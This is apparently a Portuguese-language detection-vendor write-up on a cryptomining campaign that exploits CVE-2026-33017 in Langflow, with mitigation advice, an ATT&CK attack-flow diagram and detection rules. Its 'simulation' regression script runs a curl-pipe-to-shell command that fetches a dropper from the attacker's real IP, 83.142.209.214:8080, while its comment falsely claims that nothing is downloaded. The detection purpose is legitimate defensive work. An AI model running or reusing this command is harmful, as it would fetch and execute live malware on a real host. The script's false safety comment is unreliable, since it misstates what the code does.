Campanha de Criptomineração CVE-2026-33017: De Langflow a Monero
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Uma campanha de mineração de criptomoeda está explorando uma falha de execução remota de código não autenticada no Langflow para implantar um minerador baseado em Go personalizado. A cadeia de ataque usa um dropper de script bash para estabelecer persistência e mover-se lateralmente através de chaves SSH reutilizadas. O malware também desativa medidas de segurança de nível de host e termina processos de mineração concorrentes para maximizar os recursos do sistema disponíveis.
Investigação
Pesquisadores monitoraram a campanha durante um período de 19 dias e identificaram um padrão de exploração consistente envolvendo um flow_id codificado e strings de user-agent rotativas. Sua investigação revelou uma intrusão em várias etapas construída em torno de um binário baseado em Go chamado lambsys.elf, que lidava com evasão de defesa, remoção de logs e persistência suportada por watchdog. Com base no comportamento de exclusão de usuários e técnicas de movimento lateral, acredita-se que a cadeia de ferramentas compartilha origem com a família KORKERDS ou MALXMR.
Mitigação
As organizações devem atualizar o Langflow para a versão 1.9.0 ou mais recente para remediar a questão de execução remota de código. Também é fortemente recomendado bloquear a exposição à internet pública de instâncias do Langflow e evitar executar o serviço com privilégios excessivos. Controles adicionais devem garantir que os fluxos públicos não possam aceitar entradas não autenticadas capazes de disparar a execução de código.
Resposta
Se essa atividade for detectada, as equipes de segurança devem tratá-la tanto como uma violação de mineração de criptomoeda quanto como um possível incidente de exposição de chave SSH. As etapas imediatas devem incluir a rotação de todas as chaves SSH potencialmente expostas e a revisão de hosts conectados em busca de sinais de movimento lateral. As equipes também devem auditar logs do sistema para criação ou exclusão de contas não autorizadas e inspecionar sistemas em busca de alterações de configuração de segurança não aprovadas.
"flowchart TD step_reconnaissance["T1595.002 u2013 Varredura Ativa: Varredura de Vulnerabilidade: Rotação de User-Agent para identificar o alvo e sondar a vulnerabilidade auto_login"] step_exploitation["T1210 u2013 Exploit de Serviços Remotos: Explorando CVE-2026-33017 na API do Langflow via solicitação POST"] step_execution["T1059 u2013 Execução: Primitiva Python __import__('os').system para acionar comandos de shell"] step_ingress_transfer["T1105 u2013 Transferência de Ferramentas de Ingresso: Baixando isp.sh dropper via curl ou wget"] rules_for_ingress_transfer("<b>Nome da Regra</b>: Upload/Download de Arquivo Remoto via Ferramentas Padrão (via cmdline)<br/><b>ID da Regra</b>: 02cefb3e-acaa-42f6-8118-611e4162f3ba<hr/><b>Nome da Regra</b>: Download de Arquivo Suspeito Direto IP (via proxy)<br/><b>ID da Regra</b>: f0e46e70-111f-43a1-8853-d25f0b8683dd") step_persistence["T1053.003 u2013 Persistência: Job Cron e script de loop bash (init_rmount) para funcionalidade de watchdog"] step_credential_access["T1552.004 u2013 Acesso a Credenciais: Enumeração de chaves privadas SSH e consultas SSH_AUTH_SOCK"] step_lateral_movement["T1021.004 u2013 Movimento Lateral: Mecanismo worm SSH visando hosts alcançáveis em known_hosts"] step_defense_impairment["T1685 u2013 Comprometimento de Defesa: Desativando ufw, iptables, AppArmor e SELinux"] step_indicator_removal["T1070 u2013 Remoção de Indicador: Deletando /var/log/syslog para dificultar a investigação"] step_command_and_control["T1102.003 u2013 Comando e Controle: lambsys.elf enviando heartbeats JSON via HTTP POST para 83.142.209.214"] step_resource_hijacking["T1496.001 u2013 Sequestro de Recursos: Sequestro de Computação: Implantação de procq (XMRig) para mineração de Monero"] step_reconnaissance –>|leads_to| step_exploitation step_exploitation –>|enables| step_execution step_execution –>|initiates| step_ingress_transfer step_ingress_transfer -.->|detected_by| rules_for_ingress_transfer step_ingress_transfer –>|leads_to| step_persistence step_persistence –>|then| step_credential_access step_credential_access –>|enables| step_lateral_movement step_lateral_movement –>|leads_to| step_defense_impairment step_defense_impairment –>|then| step_indicator_removal step_indicator_removal –>|leads_to| step_command_and_control step_command_and_control –>|results_in| step_resource_hijacking "
Fluxo de Ataque
Detecções
Download de Arquivo Suspeito Direto IP (via proxy)
Proof of Value
Possível Tentativa de Comunicação de Domínio de Pesquisa IP (via dns)
Proof of Value
Modificação de Atributo via Chattr – Linux (via cmdline)
Proof of Value
Upload/Download de Arquivo Remoto via Ferramentas Padrão (via cmdline)
Proof of Value
Arquivo Oculto Foi Criado No Host Linux (via file_event)
Proof of Value
Tentativa de Exploração de Execução Remota de Código no Langflow [Servidor Web]
Proof of Value
Detecção de Exploração de Cryptominer CVE-2026-33017 no Langflow [Criação de Processo Linux]
Proof of Value
Execução de Simulação
Pré-requisito: A Verificação de Telemetria & Baseline Pre-flight deve ter sido aprovada.
Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visar gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos incorretos.
-
Narrativa de Ataque & Comandos: O invasor identifica uma instância vulnerável do Langflow rodando em um servidor Linux. Usando a vulnerabilidade CVE-2026-33017, o invasor injeta uma carga útil maliciosa em Python em uma solicitação. O objetivo é contornar defesas de perímetro e implantar um criptominer Monero. A carga útil usa o
os.systemdo Python para invocar/bin/sh, que então baixa um script de shell (isp.sh) da infraestrutura do invasor (83.142.209.214:8080) e o canaliza diretamente para um shell para execução imediata. -
Script de Teste de Regressão:
#!/bin/bash # Simulação da exploração CVE-2026-33017 via injeção de Python # Este script imita a linha de comando exata que a regra de detecção procura. echo "[+] Iniciando Simulação: Exploração CVE-2026-33017" # Usamos python3 para executar a string específica exigida pela lógica da regra # Nota: Não estamos realmente baixando nada; estamos apenas imitando a string de comando. python3 -c "__import__('os').system('curl http://83.142.209.214:8080/isp.sh | sh')" echo "[+] Comando de Simulação Executado." -
Comandos de Limpeza:
# Nenhuma alteração permanente feita pelo script de simulação; # no entanto, se algum arquivo fictício foi criado, ele deve ser removido. echo "[+] Limpando artefatos de simulação..." # (Nenhum artefato criado nesta simulação de linha de comando específica)